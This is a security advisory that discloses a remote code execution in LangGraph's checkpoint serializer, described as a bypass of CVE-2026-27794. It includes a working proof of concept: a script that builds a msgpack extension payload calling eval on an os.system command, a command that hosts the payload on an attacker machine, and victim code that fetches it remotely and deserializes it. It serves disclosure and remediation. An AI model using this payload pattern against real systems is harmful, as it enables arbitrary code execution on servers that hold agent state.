Full Disclosure ID: HA-2026-00101

LangGraph - Version 1.1.6 / Remote Code Execution (RCE) via Insecure Deserialization (Bypass of CVE-2026-27794)

JP
Joshua Provoste Security Researcher
Published May 31, 2026
Severity 9.8 (CRITICAL)
Target LangGraph / LangChain AI

Below are one (1) way to reproduce RCE in LangGraph using a remote URL/API controlled by an attacker, without local intervention by a third party to modify files that allow code execution during the deserialization process.

For this PoC, two (2) different devices were used to simulate the interaction between an attacking machine (Raspberry Pi with IP 192.168.1.90) and a victim machine (Windows with IP 192.168.1.88).

This is a Bypass of CVE-2026-27794 Remediation. Disabling Pickle fallback is insufficient as long as the Msgpack extension policy remains permissive by default. An attacker can simply switch the payload format from Pickle to Msgpack-Ext to achieve the same result.

Note: While this vulnerability is specifically verified and reported on version 1.1.6, other prior and subsequent versions may also be susceptible to this insecure deserialization vector.

Introduction

LangGraph is an open-source library built on top of the LangChain ecosystem, designed for building stateful, multi-actor applications with Large Language Models (LLMs). It allows developers to define, coordinate, and orchestrate complex agentic workflows using graph-based structures containing nodes and edges.

The core strength of LangGraph lies in its ability to manage cyclic flows, state persistence, and long-term agent memory. It is widely adopted across enterprises to deploy robust, production-grade AI agents that can maintain consistent states across multiple interaction rounds. Because it manages checkpointing and state serialization across databases (like PostgreSQL, Redis, or SQLite), the library is a vital architectural pillar in the modern AI engineering landscape.

Vulnerability Description

This document identifies two critical 0-Day (unpatched) vulnerabilities in langgraph-checkpoint version 4.0.2. While the official advisory for CVE-2026-27794 addresses the default state of the pickle fallback, it fails to remediate—or even document—the structural risks inherent in the msgpack extension mechanism and specific persistence components.

These findings represent a significant bypass of existing security patches, as they allow Remote Code Execution (RCE) even when pickle_fallback is disabled, provided the default configuration is used.

LangGraph (via langgraph-checkpoint) is vulnerable to Remote Code Execution (RCE) through its JsonPlusSerializer component. This serializer implements a custom msgpack extension mechanism to handle complex Python types. Even in the latest "patched" versions (checkpoint v4.0.2), the system defaults to a permissive policy (allowed_msgpack_modules=True) for msgpack extensions. This allows an attacker to trigger arbitrary module imports and function calls (constructors) by providing a crafted msgpack payload with specific extension codes, effectively bypassing the trust boundary established by recent security fixes related to pickle.

The vulnerable code in langgraph/checkpoint/serde/jsonplus.py:

Python (jsonplus.py) Vulnerable Sink
# langgraph/checkpoint/serde/jsonplus.py:82 (Lacking validation by default)
82:                 allowed_msgpack_modules = True

# langgraph/checkpoint/serde/jsonplus.py:603 (The RCE Sink)
603:                 return getattr(importlib.import_module(tup[0]), tup[1])(tup[2])

Technical Impact Analysis

Project Purpose & Context

LangGraph is a library designed for building stateful, multi-actor applications with LLMs. It is heavily used in advanced AI agent orchestration, where complex workflows require frequent serialization and persistence of graph states (checkpoints) across different execution steps and persistence backends.

Platform & Deployment Environment

The framework is typically deployed in cloud-native environments, AI-powered production systems, and developer machines. It often relies on networked persistence layers like Redis, Postgres, or SQLite to synchronize state between distributed agent workers and masters.

Comprehensive Risk Assessment

The vulnerability is Critical. It represents a direct bypass of the official remediation (CVE-2026-27794). By switching from a pickle payload to a msgpack extension payload, an attacker can achieve RCE even when pickle_fallback is disabled. This allows for unauthorized infrastructure-wide execution if any state backend is compromised or if state data is retrieved from untrusted network sources.

Attack Scenario

Who wants to exploit a particular vulnerability?

Threat actors targeting agentic AI infrastructure, industrial competitors seeking model/trade secrets from agent memory, or attackers looking to pivot from a public AI endpoint to internal cloud infrastructure (GPU/TPU clusters).

For what gain?

To gain full control over the AI orchestrator, exfiltrate sensitive data from agentic tool outputs, hijack computational resources, or tamper with the logic of critical AI-driven automated processes.

In what way?

Through "Distributed State Poisoning". An attacker who can write to a shared persistence backend (e.g., a Redis instance with weak or no credentials) can replace a legitimate graph state with a malicious msgpack blob. When the LangGraph service attempts to resume execution and "loads" the state, the RCE is triggered automatically.

Reproduction Steps

On the Raspberry (attacker) - IP 192.168.1.90

kw0@kw0l4b:~ $ hostname -I | awk '{print $1}'
192.168.1.90
kw0@kw0l4b:~ $

The attacker creates a malicious Msgpack blob that leverages the EXT_CONSTRUCTOR_SINGLE_ARG (code 0) to execute arbitrary code (e.g., launching a calculator). Run the specialized exploit.py script to generate the payload.msgpack:

import ormsgpack

# 0-Day: Using Msgpack Extension Code 0 (EXT_CONSTRUCTOR_SINGLE_ARG)
# This allows calling any module.function(arg)
# We use the 'Universal' pattern with builtins.eval to ensure Cross-Platform compatibility
payload = ("builtins", "eval", "__import__('os').system('calc')") 
inner_data = ormsgpack.packb(payload)
ext_obj = ormsgpack.Ext(0, inner_data)
final_blob = ormsgpack.packb(ext_obj)

with open("payload.msgpack", "wb") as f:
    f.write(final_blob)

print("Payload generated: payload.msgpack")

Run the server to host the payload:

python -m http.server 8000 --bind 0.0.0.0
Payload Server on Raspberry Pi
Figure 1: Hosting the malicious Msgpack payload on the Raspberry Pi.

On Windows (victim) - IP 192.168.1.88

PS L:\Pickle-RCE-Finder\PYPI-langgraph> Get-NetIPAddress -AddressFamily IPv4 | Where-Object PrefixOrigin -eq "Dhcp" | Select-Object -ExpandProperty IPAddress
192.168.1.88
PS L:\Pickle-RCE-Finder\PYPI-langgraph>

1. Create a .venv, activate it, and install the latest updated version of langgraph (1.1.6):

2. And subsequently, remotely consume the attacker-controlled payload:

python -c "import requests; from langgraph.checkpoint.serde.jsonplus import JsonPlusSerializer; JsonPlusSerializer().loads_typed(('msgpack', requests.get('http://192.168.1.90:8000/payload.msgpack').content))"
Consuming payload on victim machine
Figure 2: Execution of the deserialization command triggering the payload.

3. Run the specialized poc.py script to reproduce the vulnerability end-to-end:

Python (poc.py) Victim Deserialization Trigger
import requests
import os
from langgraph.checkpoint.serde.jsonplus import JsonPlusSerializer

# URL controlled by the attacker
ATTACKER_URL = "http://192.168.1.90:8000/payload.msgpack"

def load_remote_state():
    print(f"[*] Fetching state from {ATTACKER_URL}...")
    response = requests.get(ATTACKER_URL)
    
    # Victim uses the default LangGraph serializer
    # Note: Even in langgraph-checkpoint 4.0.2, this is permissive by default
    serde = JsonPlusSerializer()
    
    print("[*] Deserializing remote state...")
    # This triggers the 0-day RCE
    state = serde.loads_typed(("msgpack", response.content))
    print("[+] State loaded successfully.")

if __name__ == "__main__":
    load_remote_state()
PoC execution confirmation
Figure 3: Arbitrary code execution success (launching calc).

Executive Summary: RCE Bypass via Insecure Msgpack Deserialization in LangGraph

The research identifies a critical Remote Code Execution (RCE) vulnerability in langgraph-checkpoint (v4.0.2) within the JsonPlusSerializer component. This vulnerability effectively bypasses the recent patches for CVE-2026-27794.

  • Root Cause: The JsonPlusSerializer uses a permissive configuration (allowed_msgpack_modules=True) for msgpack extensions. It utilizes an insecure sink that dynamically imports modules and executes functions based on user-supplied data.
  • Exploitation Mechanism: By leveraging msgpack extension codes (specifically EXT_CONSTRUCTOR_SINGLE_ARG), an attacker can craft a payload that triggers builtins.eval or other arbitrary function calls upon deserialization. This occurs even when pickle_fallback is disabled, as the vulnerability resides within the msgpack handling logic.

Analysis of Scope and Security Implications

This vulnerability is of critical severity as it targets the state serialization mechanism central to LLM agent orchestration.

1. Infection Scenarios

  • Distributed State Poisoning: In environments where multiple agents share a persistence layer (e.g., Redis, Postgres), an attacker with write access to the backend can replace legitimate state checkpoints with malicious msgpack blobs. The RCE triggers automatically when the victim service attempts to resume the agent's state.
  • Networked Consumption: As demonstrated in the PoC, the vulnerability can be exploited by triggering the deserializer on data fetched from untrusted remote URLs, making any application that processes state from external or user-controlled sources highly susceptible.

2. Factors Exacerbating Risk

  • Remediation Bypass: Because the security community previously focused on pickle, the msgpack extension mechanism remained overlooked. This provides a false sense of security to developers who believe they are protected by simply disabling pickle.
  • Agent Orchestration Impact: Since LangGraph is used for critical, stateful AI workflows, a compromise allows attackers to hijack the entire decision-making logic of an AI agent, steal sensitive tool outputs, and pivot into the internal cloud infrastructure.

Conclusion and Recommendation

This is a critical-severity vulnerability that renders existing pickle-centric mitigations ineffective.

Suggested actions for the development team:

  1. Restrict Msgpack Modules: Immediately change the default allowed_msgpack_modules from True to a strict allow-list of safe, non-executable types.
  2. Sanitize Extension Handling: Implement strict validation for msgpack extension codes to prevent the instantiation of arbitrary modules or callables.
  3. Architecture Hardening: Shift away from dynamic deserialization patterns for state persistence; utilize schema-validated formats (e.g., structured JSON or Protobuf) that do not support arbitrary code execution primitives.